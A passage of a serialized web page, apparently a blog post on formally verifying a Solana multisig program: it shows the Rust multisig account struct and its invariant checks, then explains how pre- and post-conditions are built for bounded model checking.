!",{"type":19,"tag":168,"props":18427,"children":18428},{"style":212},[18429],{"type":24,"value":11159},{"type":19,"tag":168,"props":18431,"children":18432},{"style":399},[18433],{"type":24,"value":948},{"type":19,"tag":168,"props":18435,"children":18436},{"style":212},[18437],{"type":24,"value":18438},"keys",{"type":19,"tag":168,"props":18440,"children":18441},{"style":399},[18442],{"type":24,"value":948},{"type":19,"tag":168,"props":18444,"children":18445},{"style":212},[18446],{"type":24,"value":18447},"is_empty()\n",{"type":19,"tag":168,"props":18449,"children":18450},{"class":170,"line":450},[18451,18455,18460,18464,18468,18472,18477,18481,18486,18490,18495,18499,18503],{"type":19,"tag":168,"props":18452,"children":18453},{"style":399},[18454],{"type":24,"value":13069},{"type":19,"tag":168,"props":18456,"children":18457},{"style":212},[18458],{"type":24,"value":18459}," (self",{"type":19,"tag":168,"props":18461,"children":18462},{"style":399},[18463],{"type":24,"value":948},{"type":19,"tag":168,"props":18465,"children":18466},{"style":212},[18467],{"type":24,"value":18438},{"type":19,"tag":168,"props":18469,"children":18470},{"style":399},[18471],{"type":24,"value":948},{"type":19,"tag":168,"props":18473,"children":18474},{"style":212},[18475],{"type":24,"value":18476},"len() ",{"type":19,"tag":168,"props":18478,"children":18479},{"style":399},[18480],{"type":24,"value":16868},{"type":19,"tag":168,"props":18482,"children":18483},{"style":825},[18484],{"type":24,"value":18485}," u16",{"type":19,"tag":168,"props":18487,"children":18488},{"style":399},[18489],{"type":24,"value":888},{"type":19,"tag":168,"props":18491,"children":18492},{"style":825},[18493],{"type":24,"value":18494},"MAX",{"type":19,"tag":168,"props":18496,"children":18497},{"style":382},[18498],{"type":24,"value":6266},{"type":19,"tag":168,"props":18500,"children":18501},{"style":825},[18502],{"type":24,"value":11177},{"type":19,"tag":168,"props":18504,"children":18505},{"style":212},[18506],{"type":24,"value":557},{"type":19,"tag":168,"props":18508,"children":18509},{"class":170,"line":560},[18510,18514,18518,18522,18527,18531],{"type":19,"tag":168,"props":18511,"children":18512},{"style":399},[18513],{"type":24,"value":13069},{"type":19,"tag":168,"props":18515,"children":18516},{"style":212},[18517],{"type":24,"value":18459},{"type":19,"tag":168,"props":18519,"children":18520},{"style":399},[18521],{"type":24,"value":948},{"type":19,"tag":168,"props":18523,"children":18524},{"style":212},[18525],{"type":24,"value":18526},"threshold ",{"type":19,"tag":168,"props":18528,"children":18529},{"style":399},[18530],{"type":24,"value":7386},{"type":19,"tag":168,"props":18532,"children":18533},{"style":212},[18534],{"type":24,"value":18535}," 1)\n",{"type":19,"tag":168,"props":18537,"children":18538},{"class":170,"line":666},[18539,18543,18547,18551,18555,18559,18563,18567,18571,18575,18579,18583],{"type":19,"tag":168,"props":18540,"children":18541},{"style":399},[18542],{"type":24,"value":13069},{"type":19,"tag":168,"props":18544,"children":18545},{"style":212},[18546],{"type":24,"value":18459},{"type":19,"tag":168,"props":18548,"children":18549},{"style":399},[18550],{"type":24,"value":948},{"type":19,"tag":168,"props":18552,"children":18553},{"style":212},[18554],{"type":24,"value":18526},{"type":19,"tag":168,"props":18556,"children":18557},{"style":382},[18558],{"type":24,"value":6280},{"type":19,"tag":168,"props":18560,"children":18561},{"style":825},[18562],{"type":24,"value":11177},{"type":19,"tag":168,"props":18564,"children":18565},{"style":399},[18566],{"type":24,"value":5634},{"type":19,"tag":168,"props":18568,"children":18569},{"style":212},[18570],{"type":24,"value":11243},{"type":19,"tag":168,"props":18572,"children":18573},{"style":399},[18574],{"type":24,"value":948},{"type":19,"tag":168,"props":18576,"children":18577},{"style":212},[18578],{"type":24,"value":18438},{"type":19,"tag":168,"props":18580,"children":18581},{"style":399},[18582],{"type":24,"value":948},{"type":19,"tag":168,"props":18584,"children":18585},{"style":212},[18586],{"type":24,"value":18587},"len())\n",{"type":19,"tag":168,"props":18589,"children":18590},{"class":170,"line":694},[18591],{"type":19,"tag":168,"props":18592,"children":18593},{"style":212},[18594],{"type":24,"value":17713},{"type":19,"tag":168,"props":18596,"children":18597},{"class":170,"line":707},[18598,18602,18607,18612],{"type":19,"tag":168,"props":18599,"children":18600},{"style":382},[18601],{"type":24,"value":11136},{"type":19,"tag":168,"props":18603,"children":18604},{"style":382},[18605],{"type":24,"value":18606}," struct",{"type":19,"tag":168,"props":18608,"children":18609},{"style":825},[18610],{"type":24,"value":18611}," Ms",{"type":19,"tag":168,"props":18613,"children":18614},{"style":212},[18615],{"type":24,"value":691},{"type":19,"tag":168,"props":18617,"children":18618},{"class":170,"line":725},[18619,18623,18628,18632,18636,18641],{"type":19,"tag":168,"props":18620,"children":18621},{"style":382},[18622],{"type":24,"value":18298},{"type":19,"tag":168,"props":18624,"children":18625},{"style":393},[18626],{"type":24,"value":18627}," threshold",{"type":19,"tag":168,"props":18629,"children":18630},{"style":399},[18631],{"type":24,"value":1922},{"type":19,"tag":168,"props":18633,"children":18634},{"style":825},[18635],{"type":24,"value":18485},{"type":19,"tag":168,"props":18637,"children":18638},{"style":212},[18639],{"type":24,"value":18640},", ",{"type":19,"tag":168,"props":18642,"children":18643},{"style":373},[18644],{"type":24,"value":18645},"// threshold for signatures\n",{"type":19,"tag":168,"props":18647,"children":18648},{"class":170,"line":746},[18649,18653,18658,18662,18666,18671],{"type":19,"tag":168,"props":18650,"children":18651},{"style":382},[18652],{"type":24,"value":18298},{"type":19,"tag":168,"props":18654,"children":18655},{"style":393},[18656],{"type":24,"value":18657}," authority_index",{"type":19,"tag":168,"props":18659,"children":18660},{"style":399},[18661],{"type":24,"value":1922},{"type":19,"tag":168,"props":18663,"children":18664},{"style":825},[18665],{"type":24,"value":18485},{"type":19,"tag":168,"props":18667,"children":18668},{"style":212},[18669],{"type":24,"value":18670},", ",{"type":19,"tag":168,"props":18672,"children":18673},{"style":373},[18674],{"type":24,"value":18675},"// index to seed other authorities under this multisig\n",{"type":19,"tag":168,"props":18677,"children":18678},{"class":170,"line":755},[18679,18683,18688,18692,18696,18701],{"type":19,"tag":168,"props":18680,"children":18681},{"style":382},[18682],{"type":24,"value":18298},{"type":19,"tag":168,"props":18684,"children":18685},{"style":393},[18686],{"type":24,"value":18687}," transaction_index",{"type":19,"tag":168,"props":18689,"children":18690},{"style":399},[18691],{"type":24,"value":1922},{"type":19,"tag":168,"props":18693,"children":18694},{"style":825},[18695],{"type":24,"value":14999},{"type":19,"tag":168,"props":18697,"children":18698},{"style":212},[18699],{"type":24,"value":18700},", ",{"type":19,"tag":168,"props":18702,"children":18703},{"style":373},[18704],{"type":24,"value":18705},"// look up and seed reference for transactions\n",{"type":19,"tag":168,"props":18707,"children":18708},{"class":170,"line":1008},[18709,18713,18718,18722,18726,18730],{"type":19,"tag":168,"props":18710,"children":18711},{"style":382},[18712],{"type":24,"value":18298},{"type":19,"tag":168,"props":18714,"children":18715},{"style":393},[18716],{"type":24,"value":18717}," ms_change_index",{"type":19,"tag":168,"props":18719,"children":18720},{"style":399},[18721],{"type":24,"value":1922},{"type":19,"tag":168,"props":18723,"children":18724},{"style":825},[18725],{"type":24,"value":14999},{"type":19,"tag":168,"props":18727,"children":18728},{"style":212},[18729],{"type":24,"value":18670},{"type":19,"tag":168,"props":18731,"children":18732},{"style":373},[18733],{"type":24,"value":18734},"// the last executed/closed transaction\n",{"type":19,"tag":168,"props":18736,"children":18737},{"class":170,"line":1025},[18738,18742,18747,18751,18755,18760],{"type":19,"tag":168,"props":18739,"children":18740},{"style":382},[18741],{"type":24,"value":18298},{"type":19,"tag":168,"props":18743,"children":18744},{"style":393},[18745],{"type":24,"value":18746}," bump",{"type":19,"tag":168,"props":18748,"children":18749},{"style":399},[18750],{"type":24,"value":1922},{"type":19,"tag":168,"props":18752,"children":18753},{"style":825},[18754],{"type":24,"value":12080},{"type":19,"tag":168,"props":18756,"children":18757},{"style":212},[18758],{"type":24,"value":18759},", ",{"type":19,"tag":168,"props":18761,"children":18762},{"style":373},[18763],{"type":24,"value":18764},"// bump for the multisig seed\n",{"type":19,"tag":168,"props":18766,"children":18767},{"class":170,"line":1042},[18768,18772,18777,18781,18785,18790],{"type":19,"tag":168,"props":18769,"children":18770},{"style":382},[18771],{"type":24,"value":18298},{"type":19,"tag":168,"props":18773,"children":18774},{"style":393},[18775],{"type":24,"value":18776}," create_key",{"type":19,"tag":168,"props":18778,"children":18779},{"style":399},[18780],{"type":24,"value":1922},{"type":19,"tag":168,"props":18782,"children":18783},{"style":825},[18784],{"type":24,"value":18312},{"type":19,"tag":168,"props":18786,"children":18787},{"style":212},[18788],{"type":24,"value":18789},", ",{"type":19,"tag":168,"props":18791,"children":18792},{"style":373},[18793],{"type":24,"value":18794},"// random key(or not) used to seed the multisig pda\n",{"type":19,"tag":168,"props":18796,"children":18797},{"class":170,"line":1055},[18798,18802,18807,18811,18815,18819],{"type":19,"tag":168,"props":18799,"children":18800},{"style":382},[18801],{"type":24,"value":18298},{"type":19,"tag":168,"props":18803,"children":18804},{"style":393},[18805],{"type":24,"value":18806}," allow_external_execute",{"type":19,"tag":168,"props":18808,"children":18809},{"style":399},[18810],{"type":24,"value":1922},{"type":19,"tag":168,"props":18812,"children":18813},{"style":825},[18814],{"type":24,"value":9495},{"type":19,"tag":168,"props":18816,"children":18817},{"style":212},[18818],{"type":24,"value":471},{"type":19,"tag":168,"props":18820,"children":18821},{"style":373},[18822],{"type":24,"value":18823},"// allow non-member keys to execute txs\n",{"type":19,"tag":168,"props":18825,"children":18826},{"class":170,"line":1064},[18827,18831,18836,18840,18845,18849,18854,18859],{"type":19,"tag":168,"props":18828,"children":18829},{"style":382},[18830],{"type":24,"value":18298},{"type":19,"tag":168,"props":18832,"children":18833},{"style":393},[18834],{"type":24,"value":18835}," keys",{"type":19,"tag":168,"props":18837,"children":18838},{"style":399},[18839],{"type":24,"value":1922},{"type":19,"tag":168,"props":18841,"children":18842},{"style":825},[18843],{"type":24,"value":18844}," Vec",{"type":19,"tag":168,"props":18846,"children":18847},{"style":212},[18848],{"type":24,"value":3240},{"type":19,"tag":168,"props":18850,"children":18851},{"style":825},[18852],{"type":24,"value":18853},"Pubkey",{"type":19,"tag":168,"props":18855,"children":18856},{"style":212},[18857],{"type":24,"value":18858},">, ",{"type":19,"tag":168,"props":18860,"children":18861},{"style":373},[18862],{"type":24,"value":18863},"// keys of the members\n",{"type":19,"tag":168,"props":18865,"children":18866},{"class":170,"line":1087},[18867],{"type":19,"tag":168,"props":18868,"children":18869},{"style":212},[18870],{"type":24,"value":1326},{"type":19,"tag":20,"props":18872,"children":18873},{},[18874],{"type":24,"value":18875},"Here we are verifying multiple things at once:",{"type":19,"tag":43,"props":18877,"children":18878},{},[18879,18890,18901,18912],{"type":19,"tag":47,"props":18880,"children":18881},{},[18882,18888],{"type":19,"tag":27,"props":18883,"children":18885},{"className":18884},[],[18886],{"type":24,"value":18887},"!self.keys.is_empty()",{"type":24,"value":18889}," : ensure there is at least one member",{"type":19,"tag":47,"props":18891,"children":18892},{},[18893,18899],{"type":19,"tag":27,"props":18894,"children":18896},{"className":18895},[],[18897],{"type":24,"value":18898},"self.keys.len() \u003C= u16::MAX as usize",{"type":24,"value":18900}," : set an upper limit of 65535 members",{"type":19,"tag":47,"props":18902,"children":18903},{},[18904,18910],{"type":19,"tag":27,"props":18905,"children":18907},{"className":18906},[],[18908],{"type":24,"value":18909},"self.threshold >= 1",{"type":24,"value":18911}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":19,"tag":47,"props":18913,"children":18914},{},[18915,18921],{"type":19,"tag":27,"props":18916,"children":18918},{"className":18917},[],[18919],{"type":24,"value":18920},"self.threshold as usize \u003C= self.keys.len()",{"type":24,"value":18922}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":19,"tag":36,"props":18924,"children":18926},{"id":18925},"verification-how-do-we-check-that-our-model-is-correct",[18927],{"type":24,"value":18928},"Verification: How do we check that our model is correct?",{"type":19,"tag":20,"props":18930,"children":18931},{},[18932,18934,18938,18940,18945],{"type":24,"value":18933},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":19,"tag":293,"props":18935,"children":18936},{},[18937],{"type":24,"value":17423},{"type":24,"value":18939}," on which we can run bounded model checking. Our tool does this ",{"type":19,"tag":293,"props":18941,"children":18942},{},[18943],{"type":24,"value":18944},"automagically",{"type":24,"value":18946}," for anchor-lang programs.",{"type":19,"tag":20,"props":18948,"children":18949},{},[18950,18952,18958,18960,18965,18967,18972,18973,18978,18980,18985,18987,18992,18993,18999,19001,19007,19008,19014],{"type":24,"value":18951},"Specifically, for a given ",{"type":19,"tag":27,"props":18953,"children":18955},{"className":18954},[],[18956],{"type":24,"value":18957},"Context\u003CT>",{"type":24,"value":18959}," with ",{"type":19,"tag":293,"props":18961,"children":18962},{},[18963],{"type":24,"value":18964},"incoming",{"type":24,"value":18966}," accounts of types (",{"type":19,"tag":27,"props":18968,"children":18970},{"className":18969},[],[18971],{"type":24,"value":18195},{"type":24,"value":2012},{"type":19,"tag":27,"props":18974,"children":18976},{"className":18975},[],[18977],{"type":24,"value":1142},{"type":24,"value":18979},") and ",{"type":19,"tag":293,"props":18981,"children":18982},{},[18983],{"type":24,"value":18984},"outgoing",{"type":24,"value":18986}," accounts of type (",{"type":19,"tag":27,"props":18988,"children":18990},{"className":18989},[],[18991],{"type":24,"value":1142},{"type":24,"value":2012},{"type":19,"tag":27,"props":18994,"children":18996},{"className":18995},[],[18997],{"type":24,"value":18998},"close",{"type":24,"value":19000},") we define a ",{"type":19,"tag":27,"props":19002,"children":19004},{"className":19003},[],[19005],{"type":24,"value":19006},"pre_condition",{"type":24,"value":8436},{"type":19,"tag":27,"props":19009,"children":19011},{"className":19010},[],[19012],{"type":24,"value":19013},"post_condition",{"type":24,"value":19015}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":19,"tag":20,"props":19017,"children":19018},{},[19019],{"type":19,"tag":27,"props":19020,"children":19022},{"className":19021},[1411,1412],[19023],{"type":19,"tag":168,"props":19024,"children":19026},{"className":19025},[1417],[19027],{"type":19,"tag":168,"props":19028,"children":19030},{"className":19029,"ariaHidden":1423},[1422],[19031,19067],{"type":19,"tag":168,"props":19032,"children":19034},{"className":19033},[1428],[19035,19040,19048,19053,19057,19063],{"type":19,"tag":168,"props":19036,"children":19039},{"className":19037,"style":19038},[1433],"height:0.6833em;",[],{"type":19,"tag":168,"props":19041,"children":19045},{"className":19042,"style":19044},[1439,19043],"mathnormal","margin-right:0.13889em;",[19046],{"type":24,"value":19047},"P",{"type":19,"tag":168,"props":19049,"children":19051},{"className":19050},[1439],[19052],{"type":24,"value":1452},{"type":19,"tag":168,"props":19054,"children":19056},{"className":19055,"style":1618},[1520],[],{"type":19,"tag":168,"props":19058,"children":19060},{"className":19059},[1623],[19061],{"type":24,"value":19062},":=",{"type":19,"tag":168,"props":19064,"children":19066},{"className":19065,"style":1618},[1520],[],{"type":19,"tag":168,"props":19068,"children":19070},{"className":19069},[1428],[19071,19076,19216,19220],{"type":19,"tag":168,"props":19072,"children":19075},{"className":19073,"style":19074},[1433],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":19,"tag":168,"props":19077,"children":19080},{"className":19078},[19079],"mop",[19081,19090],{"type":19,"tag":168,"props":19082,"children":19087},{"className":19083,"style":19086},[19079,19084,19085],"op-symbol","small-op","position:relative;top:0em;",[19088],{"type":24,"value":19089},"⋀",{"type":19,"tag":168,"props":19091,"children":19093},{"className":19092},[1456],[19094],{"type":19,"tag":168,"props":19095,"children":19098},{"className":19096},[1461,19097],"vlist-t2",[19099,19204],{"type":19,"tag":168,"props":19100,"children":19102},{"className":19101},[1466],[19103,19197],{"type":19,"tag":168,"props":19104,"children":19107},{"className":19105,"style":19106},[1471],"height:0.2253em;",[19108],{"type":19,"tag":168,"props":19109,"children":19111},{"style":19110},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[19112,19116],{"type":19,"tag":168,"props":19113,"children":19115},{"className":19114,"style":1481},[1480],[],{"type":19,"tag":168,"props":19117,"children":19119},{"className":19118},[1486,1487,1488,1489],[19120],{"type":19,"tag":168,"props":19121,"children":19123},{"className":19122},[1439,1489],[19124,19129,19135,19145,19151,19160,19169,19175,19180,19186,19191],{"type":19,"tag":168,"props":19125,"children":19127},{"className":19126},[1439,19043,1489],[19128],{"type":24,"value":269},{"type":19,"tag":168,"props":19130,"children":19132},{"className":19131},[1439,19043,1489],[19133],{"type":24,"value":19134},"cc",{"type":19,"tag":168,"props":19136,"children":19138},{"className":19137},[1520,1489],[19139],{"type":19,"tag":168,"props":19140,"children":19142},{"className":19141},[1489],[19143],{"type":24,"value":19144}," ",{"type":19,"tag":168,"props":19146,"children":19148},{"className":19147},[1623,1489],[19149],{"type":24,"value":19150},"∈",{"type":19,"tag":168,"props":19152,"children":19154},{"className":19153},[1520,1489],[19155],{"type":19,"tag":168,"props":19156,"children":19158},{"className":19157},[1489],[19159],{"type":24,"value":19144},{"type":19,"tag":168,"props":19161,"children":19163},{"className":19162},[1439,24,1489],[19164],{"type":19,"tag":168,"props":19165,"children":19167},{"className":19166},[1439,1489],[19168],{"type":24,"value":18964},{"type":19,"tag":168,"props":19170,"children":19173},{"className":19171},[19172,1489],"mopen",[19174],{"type":24,"value":500},{"type":19,"tag":168,"props":19176,"children":19178},{"className":19177},[1439,19043,1489],[19179],{"type":24,"value":543},{"type":19,"tag":168,"props":19181,"children":19183},{"className":19182},[1439,19043,1489],[19184],{"type":24,"value":19185},"t",{"type":19,"tag":168,"props":19187,"children":19189},{"className":19188},[1439,19043,1489],[19190],{"type":24,"value":16729},{"type":19,"tag":168,"props":19192,"children":19195},{"className":19193},[19194,1489],"mclose",[19196],{"type":24,"value":524},{"type":19,"tag":168,"props":19198,"children":19201},{"className":19199},[19200],"vlist-s",[19202],{"type":24,"value":19203},"​",{"type":19,"tag":168,"props":19205,"children":19207},{"className":19206},[1466],[19208],{"type":19,"tag":168,"props":19209,"children":19212},{"className":19210,"style":19211},[1471],"height:0.4747em;",[19213],{"type":19,"tag":168,"props":19214,"children":19215},{},[],{"type":19,"tag":168,"props":19217,"children":19219},{"className":19218,"style":1559},[1520],[],{"type":19,"tag":168,"props":19221,"children":19223},{"className":19222},[1439],[19224,19234,19239,19244,19249],{"type":19,"tag":168,"props":19225,"children":19227},{"className":19226},[1439,24],[19228],{"type":19,"tag":168,"props":19229,"children":19231},{"className":19230},[1439],[19232],{"type":24,"value":19233},"invariant",{"type":19,"tag":168,"props":19235,"children":19237},{"className":19236},[19172],[19238],{"type":24,"value":500},{"type":19,"tag":168,"props":19240,"children":19242},{"className":19241},[1439,19043],[19243],{"type":24,"value":269},{"type":19,"tag":168,"props":19245,"children":19247},{"className":19246},[1439,19043],[19248],{"type":24,"value":19134},{"type":19,"tag":168,"props":19250,"children":19252},{"className":19251},[19194],[19253],{"type":24,"value":524},{"type":19,"tag":20,"props":19255,"children":19256},{},[19257],{"type":19,"tag":27,"props":19258,"children":19260},{"className":19259},[1411,1412],[19261],{"type":19,"tag":168,"props":19262,"children":19264},{"className":19263},[1417],[19265],{"type":19,"tag":168,"props":19266,"children":19268},{"className":19267,"ariaHidden":1423},[1422],[19269,19300],{"type":19,"tag":168,"props":19270,"children":19272},{"className":19271},[1428],[19273,19277,19282,19287,19291,19296],{"type":19,"tag":168,"props":19274,"children":19276},{"className":19275,"style":19038},[1433],[],{"type":19,"tag":168,"props":19278,"children":19280},{"className":19279,"style":19044},[1439,19043],[19281],{"type":24,"value":19047},{"type":19,"tag":168,"props":19283,"children":19285},{"className":19284},[1439],[19286],{"type":24,"value":1442},{"type":19,"tag":168,"props":19288,"children":19290},{"className":19289,"style":1618},[1520],[],{"type":19,"tag":168,"props":19292,"children":19294},{"className":19293},[1623],[19295],{"type":24,"value":19062},{"type":19,"tag":168,"props":19297,"children":19299},{"className":19298,"style":1618},[1520],[],{"type":19,"tag":168,"props":19301,"children":19303},{"className":19302},[1428],[19304,19308,19431,19435],{"type":19,"tag":168,"props":19305,"children":19307},{"className":19306,"style":19074},[1433],[],{"type":19,"tag":168,"props":19309,"children":19311},{"className":19310},[19079],[19312,19317],{"type":19,"tag":168,"props":19313,"children":19315},{"className":19314,"style":19086},[19079,19084,19085],[19316],{"type":24,"value":19089},{"type":19,"tag":168,"props":19318,"children":19320},{"className":19319},[1456],[19321],{"type":19,"tag":168,"props":19322,"children":19324},{"className":19323},[1461,19097],[19325,19420],{"type":19,"tag":168,"props":19326,"children":19328},{"className":19327},[1466],[19329,19415],{"type":19,"tag":168,"props":19330,"children":19332},{"className":19331,"style":19106},[1471],[19333],{"type":19,"tag":168,"props":19334,"children":19335},{"style":19110},[19336,19340],{"type":19,"tag":168,"props":19337,"children":19339},{"className":19338,"style":1481},[1480],[],{"type":19,"tag":168,"props":19341,"children":19343},{"className":19342},[1486,1487,1488,1489],[19344],{"type":19,"tag":168,"props":19345,"children":19347},{"className":19346},[1439,1489],[19348,19353,19358,19367,19372,19381,19390,19395,19400,19405,19410],{"type":19,"tag":168,"props":19349,"children":19351},{"className":19350},[1439,19043,1489],[19352],{"type":24,"value":269},{"type":19,"tag":168,"props":19354,"children":19356},{"className":19355},[1439,19043,1489],[19357],{"type":24,"value":19134},{"type":19,"tag":168,"props":19359,"children":19361},{"className":19360},[1520,1489],[19362],{"type":19,"tag":168,"props":19363,"children":19365},{"className":19364},[1489],[19366],{"type":24,"value":19144},{"type":19,"tag":168,"props":19368,"children":19370},{"className":19369},[1623,1489],[19371],{"type":24,"value":19150},{"type":19,"tag":168,"props":19373,"children":19375},{"className":19374},[1520,1489],[19376],{"type":19,"tag":168,"props":19377,"children":19379},{"className":19378},[1489],[19380],{"type":24,"value":19144},{"type":19,"tag":168,"props":19382,"children":19384},{"className":19383},[1439,24,1489],[19385],{"type":19,"tag":168,"props":19386,"children":19388},{"className":19387},[1439,1489],[19389],{"type":24,"value":18984},{"type":19,"tag":168,"props":19391,"children":19393},{"className":19392},[19172,1489],[19394],{"type":24,"value":500},{"type":19,"tag":168,"props":19396,"children":19398},{"className":19397},[1439,19043,1489],[19399],{"type":24,"value":543},{"type":19,"tag":168,"props":19401,"children":19403},{"className":19402},[1439,19043,1489],[19404],{"type":24,"value":19185},{"type":19,"tag":168,"props":19406,"children":19408},{"className":19407},[1439,19043,1489],[19409],{"type":24,"value":16729},{"type":19,"tag":168,"props":19411,"children":19413},{"className":19412},[19194,1489],[19414],{"type":24,"value":524},{"type":19,"tag":168,"props":19416,"children":19418},{"className":19417},[19200],[19419],{"type":24,"value":19203},{"type":19,"tag":168,"props":19421,"children":19423},{"className":19422},[1466],[19424],{"type":19,"tag":168,"props":19425,"children":19427},{"className":19426,"style":19211},[1471],[19428],{"type":19,"tag":168,"props":19429,"children":19430},{},[],{"type":19,"tag":168,"props":19432,"children":19434},{"className":19433,"style":1559},[1520],[],{"type":19,"tag":168,"props":19436,"children":19438},{"className":19437},[1439],[19439,19448,19453,19458,19463],{"type":19,"tag":168,"props":19440,"children":19442},{"className":19441},[1439,24],[19443],{"type":19,"tag":168,"props":19444,"children":19446},{"className":19445},[1439],[19447],{"type":24,"value":19233},{"type":19,"tag":168,"props":19449,"children":19451},{"className":19450},[19172],[19452],{"type":24,"value":500},{"type":19,"tag":168,"props":19454,"children":19456},{"className":19455},[1439,19043],[19457],{"type":24,"value":269},{"type":19,"tag":168,"props":19459,"children":19461},{"className":19460},[1439,19043],[19462],{"type":24,"value":19134},{"type":19,"tag":168,"props":19464,"children":19466},{"className":19465},[19194],[19467],{"type":24,"value":524},{"type":19,"tag":20,"props":19469,"children":19470},{},[19471],{"type":24,"value":19472},"Our instruction invariants are represented as:",{"type":19,"tag":43,"props":19474,"children":19475},{},[19476,19512],{"type":19,"tag":47,"props":19477,"children":19478},{},[19479,19506,19507],{"type":19,"tag":27,"props":19480,"children":19482},{"className":19481},[1411,1412],[19483],{"type":19,"tag":168,"props":19484,"children":19486},{"className":19485},[1417],[19487],{"type":19,"tag":168,"props":19488,"children":19490},{"className":19489,"ariaHidden":1423},[1422],[19491],{"type":19,"tag":168,"props":19492,"children":19494},{"className":19493},[1428],[19495,19499],{"type":19,"tag":168,"props":19496,"children":19498},{"className":19497,"style":19038},[1433],[],{"type":19,"tag":168,"props":19500,"children":19503},{"className":19501,"style":19502},[1439,19043],"margin-right:0.05764em;",[19504],{"type":24,"value":19505},"S",{"type":24,"value":12778},{"type":19,"tag":27,"props":19508,"children":19510},{"className":19509},[],[19511],{"type":24,"value":17609},{"type":19,"tag":47,"props":19513,"children":19514},{},[19515,19541,19542],{"type":19,"tag":27,"props":19516,"children":19518},{"className":19517},[1411,1412],[19519],{"type":19,"tag":168,"props":19520,"children":19522},{"className":19521},[1417],[19523],{"type":19,"tag":168,"props":19524,"children":19526},{"className":19525,"ariaHidden":1423},[1422],[19527],{"type":19,"tag":168,"props":19528,"children":19530},{"className":19529},[1428],[19531,19535],{"type":19,"tag":168,"props":19532,"children":19534},{"className":19533,"style":19038},[1433],[],{"type":19,"tag":168,"props":19536,"children":19538},{"className":19537,"style":19502},[1439,19043],[19539],{"type":24,"value":19540},"E",{"type":24,"value":12778},{"type":19,"tag":27,"props":19543,"children":19545},{"className":19544},[],[19546],{"type":24,"value":17616},{"type":19,"tag":20,"props":19548,"children":19549},{},[19550,19552,19579,19581,19586,19588,19594],{"type":24,"value":19551},"And ",{"type":19,"tag":27,"props":19553,"children":19555},{"className":19554},[1411,1412],[19556],{"type":19,"tag":168,"props":19557,"children":19559},{"className":19558},[1417],[19560],{"type":19,"tag":168,"props":19561,"children":19563},{"className":19562,"ariaHidden":1423},[1422],[19564],{"type":19,"tag":168,"props":19565,"children":19567},{"className":19566},[1428],[19568,19572],{"type":19,"tag":168,"props":19569,"children":19571},{"className":19570,"style":19038},[1433],[],{"type":19,"tag":168,"props":19573,"children":19576},{"className":19574,"style":19575},[1439,19043],"margin-right:0.07153em;",[19577],{"type":24,"value":19578},"K",{"type":24,"value":19580}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":19,"tag":27,"props":19582,"children":19584},{"className":19583},[],[19585],{"type":24,"value":17944},{"type":24,"value":19587}," not an ",{"type":19,"tag":27,"props":19589,"children":19591},{"className":19590},[],[19592],{"type":24,"value":19593},"Err",{"type":24,"value":18197},{"type":19,"tag":20,"props":19596,"children":19597},{},[19598],{"type":24,"value":19599},"In order to verify these conditions we need to verify three cases:",{"type":19,"tag":7050,"props":19601,"children":19603},{"id":19602},"account-invariants-1",[19604],{"type":24,"value":19605},"Account invariants",{"type":19,"tag":20,"props":19607,"children":19608},{},[19609,19611,19642,19644,19674,19676,19706],{"type":24,"value":19610},"After we execute an instruction, either the function should error and be reverted (",{"type":19,"tag":27,"props":19612,"children":19614},{"className":19613},[1411,1412],[19615],{"type":19,"tag":168,"props":19616,"children":19618},{"className":19617},[1417],[19619],{"type":19,"tag":168,"props":19620,"children":19622},{"className":19621,"ariaHidden":1423},[1422],[19623],{"type":19,"tag":168,"props":19624,"children":19626},{"className":19625},[1428],[19627,19631,19637],{"type":19,"tag":168,"props":19628,"children":19630},{"className":19629,"style":19038},[1433],[],{"type":19,"tag":168,"props":19632,"children":19634},{"className":19633},[1439],[19635],{"type":24,"value":19636},"¬",{"type":19,"tag":168,"props":19638,"children":19640},{"className":19639,"style":19575},[1439,19043],[19641],{"type":24,"value":19578},{"type":24,"value":19643},") or the account post-invariants should hold (",{"type":19,"tag":27,"props":19645,"children":19647},{"className":19646},[1411,1412],[19648],{"type":19,"tag":168,"props":19649,"children":19651},{"className":19650},[1417],[19652],{"type":19,"tag":168,"props":19653,"children":19655},{"className":19654,"ariaHidden":1423},[1422],[19656],{"type":19,"tag":168,"props":19657,"children":19659},{"className":19658},[1428],[19660,19664,19669],{"type":19,"tag":168,"props":19661,"children":19663},{"className":19662,"style":19038},[1433],[],{"type":19,"tag":168,"props":19665,"children":19667},{"className":19666,"style":19044},[1439,19043],[19668],{"type":24,"value":19047},{"type":19,"tag":168,"props":19670,"children":19672},{"className":19671},[1439],[19673],{"type":24,"value":1442},{"type":24,"value":19675},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":19,"tag":27,"props":19677,"children":19679},{"className":19678},[1411,1412],[19680],{"type":19,"tag":168,"props":19681,"children":19683},{"className":19682},[1417],[19684],{"type":19,"tag":168,"props":19685,"children":19687},{"className":19686,"ariaHidden":1423},[1422],[19688],{"type":19,"tag":168,"props":19689,"children":19691},{"className":19690},[1428],[19692,19696,19701],{"type":19,"tag":168,"props":19693,"children":19695},{"className":19694,"style":19038},[1433],[],{"type":19,"tag":168,"props":19697,"children":19699},{"className":19698,"style":19044},[1439,19043],[19700],{"type":24,"value":19047},{"type":19,"tag":168,"props":19702,"children":19704},{"className":19703},[1439],[19705],{"type":24,"value":1452},{"type":24,"value":19707},") should hold since we will verify all of the functions eventually.",{"type":19,"tag":20,"props":19709,"children":19710},{},[19711,19713],{"type":24,"value":19712},"So we are trying to prove that 